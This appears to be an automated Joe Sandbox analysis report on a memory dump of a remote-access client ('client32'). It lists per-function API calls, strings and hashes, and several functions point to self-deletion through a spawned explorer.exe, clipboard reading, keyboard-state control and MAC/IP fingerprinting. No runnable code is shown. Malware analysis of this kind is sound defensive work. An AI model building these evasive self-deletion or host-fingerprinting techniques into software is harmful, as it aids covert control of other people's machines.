GetTempPathA.KERNEL32(00000104,?,?,?,?,?,00000000,00000000), ref: 11127455
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,00000000,00000000), ref: 1112749B
_strrchr.LIBCMT ref: 111274AA
CreateFileA.KERNEL32(?,C0000000,00000005,00000000,00000002,00000000,00000000,?,?,?,?,?,?,00000000,00000000), ref: 111274E3
WriteFile.KERNEL32(00000000,111B8C68,000004D0,?,00000000,00000000,?,?,?,?,?,?,00000000,00000000), ref: 1112750F
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,00000000,00000000), ref: 1112751C
CreateFileA.KERNEL32(?,80000000,00000005,00000000,00000003,04000000,00000000,?,?,?,?,?,?,00000000,00000000), ref: 11127537
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,00000000,00000000), ref: 11127547
wsprintfA.USER32 ref: 11127561
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 1112758D
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 1112759E
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 111275A7
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 111275AA
CreateProcessA.KERNEL32(00000000,explorer.exe,00000000,00000000,00000000,00000044,00000000,00000000,00000044,?,?,?,?,?,00000000,00000000), ref: 111275E0
GetCurrentProcess.KERNEL32(?,?,00000000,00000000,00000000,?,?,?,?,00000000,00000000), ref: 11127682
GetCurrentProcess.KERNEL32(00000000,?,?,?,?,00000000,00000000), ref: 11127685
DuplicateHandle.KERNEL32(00000000,?,?,?,?,00000000,00000000), ref: 11127688
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,00000000,00000000), ref: 1112769C
_strrchr.LIBCMT ref: 111276AB
_memmove.LIBCMT ref: 11127724
GetThreadContext.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 11127744

Strings

NSelfDel.exe, xrefs: 1112746A
explorer.exe, xrefs: 111275D9
iCodeSize <= sizeof(local.opCodes), xrefs: 1112770A
selfdelete.cpp, xrefs: 111276BC, 11127705
*.*, xrefs: 111276E6
pSlash, xrefs: 111276C1
D, xrefs: 11127413
"%s" %d %s, xrefs: 1112755B

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FileHandleProcess$CloseCreate$Current$ModuleName_memset_strrchr$ContextDuplicatePathTempThreadVersionWrite_memmovewsprintf
String ID: "%s" %d %s$*.*$D$NSelfDel.exe$explorer.exe$iCodeSize <= sizeof(local.opCodes)$pSlash$selfdelete.cpp
API String ID: 2219718054-800295887
Opcode ID: 358ec25b12d5316939eb5b1f22c615080bb201b40904b81bfc467a07c38be4f0
Instruction ID: 6f5bf149a73cded94bd2a3d0400a9449b47971ff92e0dc1769d6f3c3ef99b26f
Opcode Fuzzy Hash: 358ec25b12d5316939eb5b1f22c615080bb201b40904b81bfc467a07c38be4f0
Instruction Fuzzy Hash: D8B1D4B5A40328AFE724DF60CD85FDAF7B8EB44708F008199E619A76C4DB706A84CF55

Function 110241A0 Relevance: 49.6, APIs: 15, Strings: 13, Instructions: 553windowtimeCOMMON

Download Yara Rule

APIs

BringWindowToTop.USER32(?), ref: 110242DC
SetWindowPos.USER32(?,00000001,00000000,00000000,00000000,00000000,00000003), ref: 110242F8
SetWindowPos.USER32(?,000000FF,00000000,00000000,00000000,00000000,00000003), ref: 1102430A
GetWindowLongA.USER32(00000000,000000F0), ref: 1102432F
SetWindowLongA.USER32(00000000,000000F0,00000000), ref: 11024361
GetDlgItem.USER32(00000000,00000002), ref: 1102439C
EnableWindow.USER32(00000000,00000000), ref: 110243A5
GetMenu.USER32(?), ref: 11024433
DeleteMenu.USER32(?,00000001,00000400), ref: 1102445B
DrawMenuBar.USER32(?), ref: 1102457C
SetWindowPos.USER32(00000000,00000000,?,?,00000000,00000000,00000005), ref: 110245D7
UpdateWindow.USER32(00000000), ref: 11024622
SetTimer.USER32(00000000,00000000,000003E8,00000000), ref: 11024633
KillTimer.USER32(00000000,?), ref: 1102466C

Part of subcall function 11029A70: _strrchr.LIBCMT ref: 11029B65
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029BA4

IsIconic.USER32(?), ref: 110245E1

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

RDH::Stop Chat Thread, xrefs: 11024806
DisableJournal, xrefs: 11024475, 11024492
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11024317, 11024348, 110245B1, 1102460C
DisableStudentJournal, xrefs: 110244B6
m_hWnd, xrefs: 1102431C, 1102434D, 11024389, 110245B6, 11024611
..\CTL32\chatexw.cpp, xrefs: 11024286, 110246A0
RDH:: destroy dialog %x, xrefs: 110247DC
DisableTutorJournal, xrefs: 110244D0
RDH::Start ChatThread - object %x, xrefs: 110241F2
ChatEx, xrefs: 110241C8
Client, xrefs: 1102447A, 11024522
DisableChatSave, xrefs: 1102451D
e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h, xrefs: 11024384

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Menu$ExitLongProcessTimer$BringDeleteDrawEnableErrorIconicItemKillLastMessageUpdate_strrchrwsprintf
String ID: ..\CTL32\chatexw.cpp$ChatEx$Client$DisableChatSave$DisableJournal$DisableStudentJournal$DisableTutorJournal$RDH:: destroy dialog %x$RDH::Start ChatThread - object %x$RDH::Stop Chat Thread$e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1796703375-4211839426
Opcode ID: 78929beebf795930fb9caa717a847736006fca00c9768058545c91b3f72f0481
Instruction ID: c53e1d1d26cb22908c254caa008bdb6232af04d82666ed9524dbf79592a97066
Opcode Fuzzy Hash: 78929beebf795930fb9caa717a847736006fca00c9768058545c91b3f72f0481
Instruction Fuzzy Hash: 1A12B078B40706ABE714DFA5CC81FAEB3A5AF88704F114568F616AB6C5DB70F800CB95

Function 110663B0 Relevance: 28.3, APIs: 8, Strings: 8, Instructions: 281COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110663EB

Strings

.prn, xrefs: 110665BE
#, xrefs: 1106652E
$, xrefs: 11066528
..\ctl32\Connect.cpp, xrefs: 110666C0
$PROMPT$, xrefs: 110663F0
$CLIENTNAME$, xrefs: 110664E4
op - obuf <= _tsizeof (obuf), xrefs: 110666C5
%03d%s, xrefs: 11066690

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset
String ID: #$$$$CLIENTNAME$$$PROMPT$$%03d%s$..\ctl32\Connect.cpp$.prn$op - obuf <= _tsizeof (obuf)
API String ID: 2102423945-3087083064
Opcode ID: efac7ea28bf95b1601145c4618340287db0a216a3f63f558e9b358aedbbfa518
Instruction ID: c06d5b17c2f28b60e10424a9165a7f3540e1b0c8f26497ae356331088a011ef2
Opcode Fuzzy Hash: efac7ea28bf95b1601145c4618340287db0a216a3f63f558e9b358aedbbfa518
Instruction Fuzzy Hash: 26A12B71E0026A5BDB21CF749C917EABBEDEF45308F0441D9E99997240DB32AE45CB90

Function 11114590 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 93keyboardsleepwindowCOMMON

Download Yara Rule

APIs

PeekMessageA.USER32(?,00000000,00000000,00000000,00000002), ref: 111145D5

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

GetKeyState.USER32(00000090), ref: 11114600

Part of subcall function 11113190: DeviceIoControl.KERNEL32(?,00000101,?,00000001,00000000,00000000,?,00000000), ref: 111131E2
Part of subcall function 11113190: keybd_event.USER32(00000091,00000046,00000000,00000000), ref: 11113215

GetKeyState.USER32(00000014), ref: 1111464C
Sleep.KERNEL32(00000064), ref: 1111466E
GetKeyState.USER32(00000091), ref: 111146A4

Strings

DisableSyncScrollLock, xrefs: 1111468C
View, xrefs: 111145E7, 1111463C, 11114691
DisableSyncCapsLock, xrefs: 11114637
DisableSyncNumLock, xrefs: 111145E2

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: State$ControlDeviceMessagePeekSleep__wcstoi64keybd_event
String ID: DisableSyncCapsLock$DisableSyncNumLock$DisableSyncScrollLock$View
API String ID: 1459313812-451981794
Opcode ID: 5f6df4d1873c0af027b22fb262066da309de759a27b2956258f951e3103a83ed
Instruction ID: 124f8e62a6da658c60687918a6121e4bc492e5a03fd0ed5725fd2557b003e167
Opcode Fuzzy Hash: 5f6df4d1873c0af027b22fb262066da309de759a27b2956258f951e3103a83ed
Instruction Fuzzy Hash: 6131D93478074297E320DB34CD45B9AF7E5AB4470CF004829E79A5E6C9EB79B940C79A

Function 11033320 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 87clipboardCOMMON

Download Yara Rule

APIs

IsClipboardFormatAvailable.USER32(?), ref: 11033361
GetClipboardData.USER32(?), ref: 1103337D
GetClipboardFormatNameA.USER32(?,?,00000050), ref: 110333FC
GetLastError.KERNEL32 ref: 11033406
GlobalUnlock.KERNEL32(00000000), ref: 11033426

Strings

..\ctl32\clipbrd.cpp, xrefs: 1103334E
pData && pSize, xrefs: 11033353

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Clipboard$Format$AvailableDataErrorGlobalLastNameUnlock
String ID: ..\ctl32\clipbrd.cpp$pData && pSize
API String ID: 1861668072-1296821031
Opcode ID: f2492e8139006f9da97ffff361a7bd75bee4125508335d11334c914ee87c47b7
Instruction ID: bd08247f7f5b97daa22515b1f99226a4dce8a406111026209efe1a9e37a97f87
Opcode Fuzzy Hash: f2492e8139006f9da97ffff361a7bd75bee4125508335d11334c914ee87c47b7
Instruction Fuzzy Hash: 8121D336E1415D9FC701DFE998C1AAEF3B8EF8961AB0040A9E815DF300EF71A900CB90

Function 11113380 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 11113387
GetTickCount.KERNEL32 ref: 111133A1

Strings

nc->cmd.mouse.nevents < NC_MAXEVENTS, xrefs: 111133D9
..\ctl32\Remote.cpp, xrefs: 111133D4

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountIconicTick
String ID: ..\ctl32\Remote.cpp$nc->cmd.mouse.nevents < NC_MAXEVENTS
API String ID: 1307367305-2838568823
Opcode ID: fccd6ed02a63c9ea5242b78adbaa7ba576b571540b65b10685f4287bd127c7f7
Instruction ID: cb75b6c9c213d9e442ee644175f48350251445db3f236d69570c6cf200ac5b3b
Opcode Fuzzy Hash: fccd6ed02a63c9ea5242b78adbaa7ba576b571540b65b10685f4287bd127c7f7
Instruction Fuzzy Hash: 11018135AA8B528AC725CFB0C9456DAFBE4AF04359F00443DE49F86658FB24B082C70A

Function 110C1020 Relevance: 6.1, APIs: 4, Instructions: 93windowthreadCOMMON

Download Yara Rule

APIs

IsIconic.USER32(000000FF), ref: 110C10AD
ShowWindow.USER32(000000FF,00000009,?,1105E793,00000001,00000001,?,00000000), ref: 110C10BD
BringWindowToTop.USER32(000000FF), ref: 110C10C7
GetCurrentThreadId.KERNEL32 ref: 110C10E8

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$BringCurrentIconicShowThread
String ID:
API String ID: 4184413098-0
Opcode ID: 9cd2ccb7cdf78e839ebc1708f3911b6b440f138af10aef91ba48fa7e682de2eb
Instruction ID: 84533db14937db9444e2f7c69536c5845b28cc0232cb9748846df38ed0837754
Opcode Fuzzy Hash: 9cd2ccb7cdf78e839ebc1708f3911b6b440f138af10aef91ba48fa7e682de2eb
Instruction Fuzzy Hash: 1731CD3AA00315DBDB14DE68D48079ABBA8AF48754F1540BAFC169F246CBB5E845CFE0

Function 11113190 Relevance: 3.1, APIs: 2, Instructions: 54keyboardCOMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32(?,00000101,?,00000001,00000000,00000000,?,00000000), ref: 111131E2
keybd_event.USER32(00000091,00000046,00000000,00000000), ref: 11113215

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ControlDevicekeybd_event
String ID:
API String ID: 1421710848-0
Opcode ID: 9865bf64858dfd4b5ae79e364b4789db47783bc591ded0e092dc9763c4139b7b
Instruction ID: d69eaa5760cfcdb7a6e8037c3782fd2f7db196db4b5aaba7e7bab0ff0a721f20
Opcode Fuzzy Hash: 9865bf64858dfd4b5ae79e364b4789db47783bc591ded0e092dc9763c4139b7b
Instruction Fuzzy Hash: E4012432F55A1539F30489B99E45FE7FA2CAB40721F014278EE59AB2C8DAA09904C6A0

Function 1101C110 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28870f3cd85b2f504c259e844a07955800c2b4529e2f618661f80502fa488756
Instruction ID: 62d1cf81ed51e4e0d51e8a312bcc7b53f4bf3873e82126cba4457949b4a63457
Opcode Fuzzy Hash: 28870f3cd85b2f504c259e844a07955800c2b4529e2f618661f80502fa488756
Instruction Fuzzy Hash: 83C10EB6A50B038BD3698E68DCD07717392FFDC30CF5A4978CA425B792D6797522CA80

Function 111640E0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 58a0a8bbdc327d95f5ab9f6db34be16e1ad385e1a8784f491a618a7ca26c401e
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: A511ECB77C0191C3F201C929D9B05B7FB9FDBE5321B154366D0528BD58D2A3B165D600

Function 1103D530 Relevance: 56.4, APIs: 14, Strings: 18, Instructions: 385libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(netapi32.dll), ref: 1103D576
GetProcAddress.KERNEL32(00000000,Netbios), ref: 1103D590
_memset.LIBCMT ref: 1103D5AB
_memset.LIBCMT ref: 1103D605
_memset.LIBCMT ref: 1103D635
wsprintfA.USER32 ref: 1103D6EE
FreeLibrary.KERNEL32(?), ref: 1103D747
FreeLibrary.KERNEL32(?), ref: 1103D779
LoadLibraryA.KERNEL32(IPHLPAPI.DLL), ref: 1103D793
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 1103D7AF
_malloc.LIBCMT ref: 1103D811
wsprintfA.USER32 ref: 1103D8C8

Strings

3, xrefs: 1103D697
GetAdaptersInfo, xrefs: 1103D7A9
%d adapters in chain, %d adapters by size, xrefs: 1103D851
pGetAdaptersInfo, xrefs: 1103D7C5
TCPIP, xrefs: 1103D564
netapi32.dll, xrefs: 1103D571
CLTCONN.CPP, xrefs: 1103D7C0
IPHLPAPI.DLL, xrefs: 1103D78E
Info. Netbios macaddr=%s, xrefs: 1103D70F
* , xrefs: 1103D647
Netbios, xrefs: 1103D58A
%02x%02x%02x%02x%02x%02x, xrefs: 1103D6E8, 1103D8BC
VIRTNET, xrefs: 1103D8E9
ListenAddress, xrefs: 1103D55F
Warning. Netbios() returned x%x, xrefs: 1103D74F
Info. Unable to load netapi32, xrefs: 1103D781
Info. macaddr[%d]=%s, ipaddr=%hs/%hs, xrefs: 1103D912
